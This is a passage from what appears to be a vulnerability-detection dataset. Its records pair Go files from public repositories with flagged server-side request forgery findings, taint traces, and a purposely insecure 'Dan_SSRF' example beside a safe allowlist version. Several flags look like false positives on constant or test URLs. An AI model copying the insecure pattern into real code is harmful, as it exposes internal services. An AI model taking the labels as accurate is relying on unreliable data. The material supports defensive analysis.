recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 126, "entireCode": "//Package github play with github.\npackage github\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"strings\"\n\n\tinternalhttp \"github.com/sjeandeaux/toolators/internal/http\"\n\t\"golang.org/x/oauth2\"\n)\n\nconst (\n\tgithubAPI = \"https://api.github.com/repos\"\n)\n\n//Release we want only the upload url.\ntype Release struct {\n\t//UploadURLTemplate the upload url template\n\tUploadURLTemplate string `json:\"upload_url\"`\n\t//TagName the tag name\n\tTagName string `json:\"tag_name\"`\n\t//URL the URL\n\tURL string `json:\"url\"`\n}\n\n//EditRelease information to send to release edition https://developer.github.com/v3/repos/releases/#edit-a-release\ntype EditRelease struct {\n\tTagName string `json:\"tag_name\"`\n\tName string `json:\"name,omitempty\"`\n\tTargetCommitish string `json:\"target_commitish,omitempty\"`\n\tBody string `json:\"body,omitempty\"`\n\tDraft bool `json:\"draft,omitempty\"`\n\tPrerelease bool `json:\"prerelease,omitempty\"`\n}\n\n//Client the http connection\ntype Client struct {\n\thttpClient *http.Client\n\towner string\n\trepo string\n\tbaseURL string\n}\n\n//NewClient init the client\nfunc NewClient(token, owner, repo string) *Client {\n\tts := oauth2.StaticTokenSource(\n\t\t&oauth2.Token{AccessToken: token},\n\t)\n\n\t//Get the UploadURL\n\toauthClient := oauth2.NewClient(oauth2.NoContext, ts)\n\treturn &Client{\n\t\thttpClient: oauthClient,\n\t\towner: owner,\n\t\trepo: repo,\n\t\tbaseURL: githubAPI,\n\t}\n\n}\n\n//UploadURL the upload url for tag\nfunc (o *Release) UploadURL() string {\n\turiTempl := strings.Index(o.UploadURLTemplate, \"{?\")\n\tif uriTempl >= 0 {\n\t\treturn o.UploadURLTemplate[:uriTempl]\n\t}\n\treturn o.UploadURLTemplate\n}\n\n//UploadInformation we need file and size\ntype UploadInformation interface {\n\treader() (io.ReadCloser, error)\n\tsize() (int64, error)\n\theaders() map[string]string\n\tparameters() map[string]string\n}\n\n//Upload on urlPath\nfunc (c *Client) Upload(urlPath string, u UploadInformation) error {\n\tbody, err := u.reader()\n\tdefer body.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsize, err := u.size()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//body and size\n\trequest, _ := http.NewRequest(http.MethodPost, urlPath, body)\n\trequest.ContentLength = size\n\t//header\n\tfor k, v := range u.headers() {\n\t\trequest.Header.Add(k, v)\n\t}\n\n\t//query\n\tquery := request.URL.Query()\n\tfor k, v := range u.parameters() {\n\t\tquery.Add(k, v)\n\t}\n\trequest.URL.RawQuery = query.Encode()\n\n\tresp, err := c.httpClient.Do(request)\n\tdefer internalhttp.Close(resp)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif resp.StatusCode != http.StatusCreated {\n\t\tb, _ := ioutil.ReadAll(resp.Body)\n\t\treturn fmt.Errorf(\"failed %d %s\", resp.StatusCode, b)\n\t}\n\treturn nil\n}\n\n//GetReleaseByTag get the information\nfunc (c *Client) GetReleaseByTag(tag string) (*Release, error) {\n\turl := fmt.Sprint(c.baseURL, \"/\", c.owner, \"/\", c.repo, \"/releases/tags/\", tag)\n\trequest, _ := http.NewRequest(http.MethodGet, url, nil)\n\trequest.Header.Add(internalhttp.ContentType, internalhttp.ApplicationJSON)\n\tresp, err := c.httpClient.Do(request)\n\tdefer internalhttp.Close(resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\tb, _ := ioutil.ReadAll(resp.Body)\n\t\treturn nil, fmt.Errorf(\"failed %d %s\", resp.StatusCode, b)\n\t}\n\n\tonlyURL := &Release{}\n\treturn onlyURL, decode(resp.Body, onlyURL)\n}\n\n//CreateRelease create a release\nfunc (c *Client) CreateRelease(edit *EditRelease) (*Release, error) {\n\turl := fmt.Sprint(c.baseURL, \"/\", c.owner, \"/\", c.repo, \"/releases\")\n\tjsonValue, _ := json.Marshal(edit)\n\trequest, _ := http.NewRequest(http.MethodPost, url, bytes.NewBuffer(jsonValue))\n\trequest.Header.Add(internalhttp.ContentType, internalhttp.ApplicationJSON)\n\tresp, err := c.httpClient.Do(request)\n\tdefer internalhttp.Close(resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.StatusCode != http.StatusCreated {\n\t\tb, _ := ioutil.ReadAll(resp.Body)\n\t\treturn nil, fmt.Errorf(\"failed %d %s\", resp.StatusCode, b)\n\t}\n\tonlyURL := &Release{}\n\treturn onlyURL, decode(resp.Body, onlyURL)\n}\n\n//decode decode the reader in i\nfunc decode(r io.Reader, i interface{}) error {\n\treturn json.NewDecoder(r).Decode(i)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 125, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprint"}}, {"lineNo": 125, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 126, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "0fc5120e90ab05736e68a7919008bff1edbcb7d14ac1df992f638070b00d5a4a", "license": {"spdx": ["Apache-2.0"], "repo": "9to6/aws-ec2-price", "path": "pkg/rest/prices_handler_test.go", "repo_head_hexsha": "57847bc893cbd460276dc035683f02c35671162a", "stack_hexsha": "29f899b36fd1122331b806cf4afd27b402b2ffa8", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 22, "entireCode": "package rest\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\n\t\"github.com/9to6/aws-ec2-price/pkg/price\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestGetEc2PricesHandler(t *testing.T) {\n\tr := GetRouter()\n\n\tserver := httptest.NewServer(r)\n\tdefer server.Close()\n\n\turl := fmt.Sprintf(\"%s/ec2/regions/%s\", server.URL, \"us-east-1\")\n\tresponse, err := http.Get(url)\n\n\tassert.Nil(t, err)\n\tassert.Equal(t, 200, response.StatusCode)\n\n\tbody, err := ioutil.ReadAll(response.Body)\n\tassert.Nil(t, err)\n\n\tinstances := []*price.Instance{}\n\terr = json.Unmarshal(body, &instances)\n\n\tassert.True(t, len(instances) > 0)\n\n\tfor _, i := range instances {\n\t\tassert.Equal(t, \"us-east-1\", i.Region)\n\t}\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 21, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 21, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 22, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "49589faf9a8e9194545fafddd30cdbe30b413297657cfc6424f63778f3017606", "license": {"spdx": ["Apache-2.0"], "repo": "vmware-tanzu/rotate-instance-identity-certificates", "path": "om/api.go", "repo_head_hexsha": "72355eb443896a2b83accbcfb1bc3b4b708a5b93", "stack_hexsha": "45a6e5b7c7daed98b91f8f3540d8d55aa4f1fbc8", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 113, "entireCode": "// Copyright 2020 VMware, Inc.\n// SPDX-License-Identifier: Apache-2.0\n\n// Package om provides methods to interact with an Ops Manager via its API.\npackage om\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"golang.org/x/oauth2\"\n\t\"golang.org/x/oauth2/clientcredentials\"\n)\n\n// API will allow access to an Ops Manager's HTTP API\ntype API struct {\n\thost string\n\tusername string\n\tpassword string\n\tdecryptionPassphrase string\n\tuseClientCredentials bool\n\tctx context.Context\n}\n\n// ErrBadStatusCode is an error that is thrown when a non-200 status code is returned from an HTTP call. It can be read with\n// errors.Is(err, om.ErrBadStatusCode)\nvar ErrBadStatusCode = errors.New(\"expected 2xx error code\")\n\n// NewAPI will create a new API object. If you want to use client id and client secret instead of username and password, set\n// useClientCredentials to true. Note that host must begin with the scheme (https://example.com, not example.com)\n//\n// If you pass a nil http.Client, http.DefaultClient will be used for all calls. If you require skipping TLS validation or using\n// custom certs, you must create a Client that does those things and pass it in.\nfunc NewAPI(host string, username string, password string, decryptionPassphrase string, useClientCredentials bool, hc *http.Client) *API {\n\ta := &API{\n\t\thost: host,\n\t\tusername: username,\n\t\tpassword: password,\n\t\tdecryptionPassphrase: decryptionPassphrase,\n\t\tuseClientCredentials: useClientCredentials,\n\t}\n\n\tif hc == nil {\n\t\thc = http.DefaultClient\n\t}\n\n\ta.ctx = context.WithValue(context.Background(), oauth2.HTTPClient, hc)\n\treturn a\n}\n\nfunc (a *API) getHTTPClient() (*http.Client, error) {\n\ttokenURL := fmt.Sprintf(\"%s/uaa/oauth/token\", a.host)\n\n\tif a.useClientCredentials {\n\t\tconfig := &clientcredentials.Config{\n\t\t\tClientID: a.username,\n\t\t\tClientSecret: a.password,\n\t\t\tScopes: []string{\"opsman.admin\"},\n\t\t\tTokenURL: tokenURL,\n\t\t}\n\n\t\treturn config.Client(a.ctx), nil\n\t}\n\n\t// opsman is an implicit client with no secret, used to get password tokens\n\tconfig := oauth2.Config{\n\t\tClientID: \"opsman\",\n\t\tClientSecret: \"\",\n\t\tEndpoint: oauth2.Endpoint{\n\t\t\tTokenURL: tokenURL,\n\t\t},\n\t}\n\n\ttoken, err := config.PasswordCredentialsToken(a.ctx, a.username, a.password)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn config.Client(a.ctx, token), nil\n}\n\n// EnsureAvailability will attempt up to numRetries times to unlock the API\n// with the decryption passphrase provided in NewAPI.\nfunc (a *API) EnsureAvailability(numRetries uint) error {\n\tvar i uint = 0\n\tfor ; i < numRetries; i++ {\n\t\terr := a.unlock()\n\t\tif err == nil {\n\t\t\treturn nil\n\t\t}\n\n\t\t// only retry if it timed out, not if a non-200 status was returned\n\t\tif errors.Is(err, ErrBadStatusCode) {\n\t\t\treturn err\n\t\t}\n\n\t\tif a.username != \"TESTING\" && a.password != \"\" {\n\t\t\ttime.Sleep(10 * time.Second)\n\t\t}\n\t}\n\n\treturn fmt.Errorf(\"failed to unlock after %d tries\", numRetries+1)\n}\n\nfunc (a *API) unlock() error {\n\tbody := bytes.NewBufferString(fmt.Sprintf(`{\"passphrase\":%q}`, a.decryptionPassphrase))\n\n\treq, err := http.NewRequest(http.MethodPut, fmt.Sprintf(\"%s/api/v0/unlock\", a.host), body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar retrieveError *oauth2.RetrieveError\n\n\tclient, err := a.getHTTPClient() // this makes an OpsManager UAA call, and should be tested for unauthorized\n\tif err != nil {\n\t\tif errors.As(err, &retrieveError) {\n\t\t\tif retrieveError.Response.StatusCode != http.StatusOK {\n\t\t\t\treturn fmt.Errorf(\"%w, got %d with body %s\", ErrBadStatusCode, retrieveError.Response.StatusCode, string(retrieveError.Body))\n\t\t\t}\n\t\t}\n\t\treturn err\n\t}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tif errors.As(err, &retrieveError) {\n\t\t\tif retrieveError.Response.StatusCode != http.StatusOK {\n\t\t\t\treturn fmt.Errorf(\"%w, got %d with body %s\", ErrBadStatusCode, retrieveError.Response.StatusCode, string(retrieveError.Body))\n\t\t\t}\n\t\t}\n\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tbuf := &bytes.Buffer{}\n\t\t_, err = io.Copy(buf, resp.Body)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\treturn fmt.Errorf(\"%w, got %d with body %s\", ErrBadStatusCode, resp.StatusCode, buf.String())\n\t}\n\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 113, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 113, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "90117b0e01a8ddfec481042afbd59afda7ad2199023a38703d1cd466323217fd", "license": {"spdx": ["Unlicense"], "repo": "RemiSirdata/aldes-cli", "path": "api/api.go", "repo_head_hexsha": "f0084844cac99a2700e53e94f475840b3d66cce6", "stack_hexsha": "75e5d1ee8127f02f2b81b34422c3e6713d34b717", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 56, "entireCode": "package api\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"golang.org/x/oauth2\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"time\"\n)\n\nconst (\n\tEndpoint = \"https://aldesiotsuite-aldeswebapi.azurewebsites.net\"\n)\n\nvar (\n\tEndpointOauth2 = oauth2.Endpoint{\n\t\tAuthURL: Endpoint + \"/oauth2/authorize\",\n\t\tTokenURL: Endpoint + \"/oauth2/token\",\n\t}\n\tTimeout = time.Minute\n)\n\nfunc New(login string, password string) (*Aldes, error) {\n\ta := Aldes{}\n\terr := a.auth(login, password)\n\treturn &a, err\n}\n\ntype Aldes struct {\n\tToken *oauth2.Token\n}\n\nfunc (a *Aldes) auth(login string, password string) error {\n\tctx := context.Background()\n\tconf := &oauth2.Config{\n\t\tScopes: []string{\"offline_access\"},\n\t\tEndpoint: EndpointOauth2,\n\t}\n\ttoken, err := conf.PasswordCredentialsToken(ctx, login, password)\n\tif err != nil {\n\t\treturn err\n\t}\n\ta.Token = token\n\treturn nil\n}\n\nfunc (a *Aldes) GetProducts() ([]Product, error) {\n\tvar products []Product\n\terr := a.Get(&products, \"/aldesoc/v2/users/me/products\")\n\treturn products, err\n}\n\nfunc (a *Aldes) Get(model interface{}, path string, args ...interface{}) error {\n\treq, err := http.NewRequest(http.MethodGet, fmt.Sprintf(Endpoint+path, args...), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\ta.Token.SetAuthHeader(req)\n\tclient := http.Client{Timeout: Timeout}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode >= 300 {\n\t\tbody, _ := ioutil.ReadAll(resp.Body)\n\t\treturn fmt.Errorf(\"invalid status code '%d' response %s\", resp.StatusCode, body)\n\t}\n\treturn json.NewDecoder(resp.Body).Decode(&model)\n\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 56, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "2844232bf3257c0596edd40c142a93268ae9ed4675c3d58369c84fb4a1d77f19", "license": {"spdx": ["MIT"], "repo": "danalvin/Elephant", "path": "backend/payments/gateways/mpesa/mpesa.go", "repo_head_hexsha": "6883d17e36ae909211a8b3d9e76cf1af930cceeb", "stack_hexsha": "23c17b56b5bd6e3af4b7c3b86d5f42ba966731cf", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 148, "entireCode": "package mpesa\n\nimport (\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/x509\"\n\t\"elephant/config\"\n\t\"elephant/payments\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/buger/jsonparser\"\n\t\"github.com/spf13/viper\"\n)\n\nvar (\n\tconf = config.GetConfig()\n\tbaseURL = \"https://sandbox.safaricom.co.ke\"\n\tenv = conf.GetString(\"app.environment\")\n)\n\nconst (\n\tb2cAPIEndpoint = \"%v/mpesa/b2c/v1/paymentrequest\"\n\taccessTokenURL = \"%v/oauth/v1/generate?grant_type=client_credentials\"\n)\n\n// Mpesa - B2C service\ntype Mpesa struct {\n\tconf *viper.Viper\n}\n\n// B2C -\ntype B2C struct {\n\tInitiatorName string `json:\"InitiatorName\"`\n\tSecurityCredential string `json:\"SecurityCredential\"`\n\tCommandID string `json:\"CommandID\"`\n\tAmount string `json:\"Amount\"`\n\tPartyA string `json:\"PartyA\"`\n\tPartyB string `json:\"PartyB\"`\n\tRemarks string `json:\"Remarks\"`\n\tQueueTimeoutURL string `json:\"QueueTimeoutURL\"`\n\tResultsURL string `json:\"ResultsURL\"`\n\tOccasion string `json:\"Occasion\"` // optional field\n}\n\n// init registration\nfunc init() {\n\n\tif env == \"production\" {\n\n\t\tbaseURL = conf.GetString(\"gateways.payments.mpesa.production_url\")\n\n\t\tif strings.TrimSpace(baseURL) == \"\" {\n\t\t\tpanic(\"mpesa: production url not provided\")\n\t\t}\n\t}\n\n\tpayments.Register(\"mpesa\", new(Mpesa))\n}\n\n// New - mpesa instance\nfunc (m *Mpesa) New() error {\n\n\treturn nil\n}\n\n// PayOne -\nfunc (m *Mpesa) PayOne(account payments.AccountNumber, amount string, ref string) (*payments.PaywayResponse, error) {\n\n\tvar payer = \"testapi115\"\n\n\t// prepare payload\n\tpayload := &B2C{\n\t\tInitiatorName: payer,\n\t\tSecurityCredential: securityCredential(payer),\n\t\tCommandID: \"SalaryPayment\",\n\t\tAmount: amount,\n\t\tPartyA: \"123454\",\n\t\tPartyB: string(\"254722000000\"),\n\t\tRemarks: \"test transaction\",\n\t\tQueueTimeoutURL: \"https://test.com\",\n\t\tResultsURL: \"https://test.com\",\n\t\t// Occasion: \"string\",\n\t}\n\n\t// fmt.Printf(\"nothign ---------- %v\\n\", securityCredential())\n\n\tdata, err := json.Marshal(payload)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq, err := http.NewRequest(\"POST\", fmt.Sprintf(b2cAPIEndpoint, baseURL), bytes.NewBuffer(data))\n\treq.Header.Set(\"Authorization\", \"Bearer \"+getAccessToken())\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclient := new(http.Client)\n\n\tres, err := client.Do(req)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tjdata, err := ioutil.ReadAll(res.Body)\n\n\t// print the data -\n\tfmt.Printf(\"data : %s\\n\", jdata)\n\n\t// prepare response\n\tresData := &payments.PaywayResponse{}\n\n\treturn resData, nil\n}\n\n// PayBulk -\nfunc (m *Mpesa) PayBulk([]*payments.Payload) ([]*payments.PaywayResponse, error) {\n\n\t//\n\treturn nil, nil\n}\n\n// PayMany - pay many wallets same amount\nfunc (m *Mpesa) PayMany(accounts []payments.AccountNumber, amount string) (*payments.PaywayResponse, error) {\n\treturn nil, nil\n}\n\n// Balance - money in the account\nfunc (m *Mpesa) Balance() (*payments.PaywayResponse, error) {\n\treturn nil, nil\n}\n\n// setAccessToken - does what needs to be done\nfunc getAccessToken() string {\n\n\t// 1. request access token\n\treq, err := http.NewRequest(\"GET\", fmt.Sprintf(accessTokenURL, baseURL), nil)\n\treq.Header.Set(\"Authorization\", \"Basic \"+getPassword())\n\tres, err := new(http.Client).Do(req)\n\tif err != nil {\n\t\tlog.Fatalf(\"mpesa: cannot make request for acquiring accesss token : %v\", err)\n\t\treturn \"\"\n\t}\n\t// 2. read response\n\tdata, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\tlog.Fatalf(\"mpesa: cannot parse response from access token req : %v\", err)\n\t\treturn \"\"\n\t}\n\taT, _ := jsonparser.GetString(data, \"access_token\")\n\treturn aT\n}\n\nfunc getPassword() string {\n\tsecret := conf.GetString(\"gateways.mpesa.consumer_secret\")\n\tkey := conf.GetString(\"gateways.mpesa.consumer_key\")\n\treturn base64.StdEncoding.EncodeToString([]byte(key + \":\" + secret))\n}\n\n// securityCred -\nfunc securityCredential(initName string) string {\n\n\t// 1. download cert\n\tcertPath := \"https://developer.safaricom.co.ke/sites/default/files/cert/cert_sandbox/cert.cer\"\n\tif env == \"production\" {\n\t\tcertPath = \"https://developer.safaricom.co.ke/sites/default/files/cert/cert_prod/cert.cer\"\n\t}\n\tres, err := http.Get(certPath)\n\tif err != nil {\n\t\tlog.Fatalf(\"cannot fetch cert : %v\", err)\n\t}\n\n\tdata, err := ioutil.ReadAll(res.Body)\n\n\t// 2. do encryption\n\tpem, _ := pem.Decode(data)\n\tcert, err := x509.ParseCertificate(pem.Bytes)\n\tkey := cert.PublicKey.(*rsa.PublicKey)\n\tciph, err := rsa.EncryptPKCS1v15(rand.Reader, key, []byte(initName))\n\tif err != nil {\n\t\tlog.Fatalf(\"cannot encrypt message : %v\", err)\n\t}\n\n\treturn base64.StdEncoding.EncodeToString(ciph)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 148, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 148, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "96279c6c4ea62975157e54754081ee2ecf005943faf740a6ab11214c1c3b48bf", "license": {"spdx": ["Apache-2.0"], "repo": "infonova/infocmdb-lib-go", "path": "infocmdb/v1/infocmdb/webservice.go", "repo_head_hexsha": "115938aeeed243a12f752d982095d12cdfe08eba", "stack_hexsha": "16bb62419c6f6d0c9772132c110b2bfa9d426396", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 33, "entireCode": "package infocmdb\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"reflect\"\n\t\"strings\"\n\n\tlog \"github.com/sirupsen/logrus\"\n)\n\nvar (\n\tErrLoginFailed = errors.New(\"login status not ok\")\n)\n\ntype ResultLogin struct {\n\tStatus string `json:\"status\"`\n\tApiKey string `json:\"apikey\"`\n}\n\nfunc (i *Cmdb) LoginWithUserPass(apiUrl string, username string, password string) error {\n\n\tlog.Debugf(\"Opening new WebClient connection. (Url: %s, Username: %s)\", apiUrl, username)\n\n\treqURL := fmt.Sprintf(\"%s/api/login/username/%s/password/%s/timeout/600/method/json\",\n\t\tapiUrl, url.PathEscape(username), url.PathEscape(password))\n\n\tresp, err := http.Get(reqURL)\n\tif err != nil {\n\t\terrMsg := strings.Replace(err.Error(), password, \"*******\", -1)\n\t\treturn errors.New(errMsg)\n\t}\n\tdefer func() {\n\t\tif err := resp.Body.Close(); err != nil {\n\t\t\tlog.Error(err)\n\t\t}\n\t}()\n\n\tbyteBody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar loginResult ResultLogin\n\terr = json.Unmarshal(byteBody, 